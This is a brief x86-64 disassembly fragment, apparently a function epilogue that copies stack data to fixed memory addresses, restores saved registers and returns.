movaps xmm0, xmmword [rbp + 0x110]
movups xmmword [0x14001018c], xmm0
movaps xmm0, xmmword [rbp + 0x120]
movups xmmword [0x14001019c], xmm0
movaps xmm0, xmmword [rbp + 0x130]
movups xmmword [0x1400101ac], xmm0
movaps xmm0, xmmword [rbp + 0x140]
movups xmmword [0x1400101bc], xmm0
movaps xmm6, xmmword [rbp + 0x200]
lea rsp, [rbp + 0x218]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret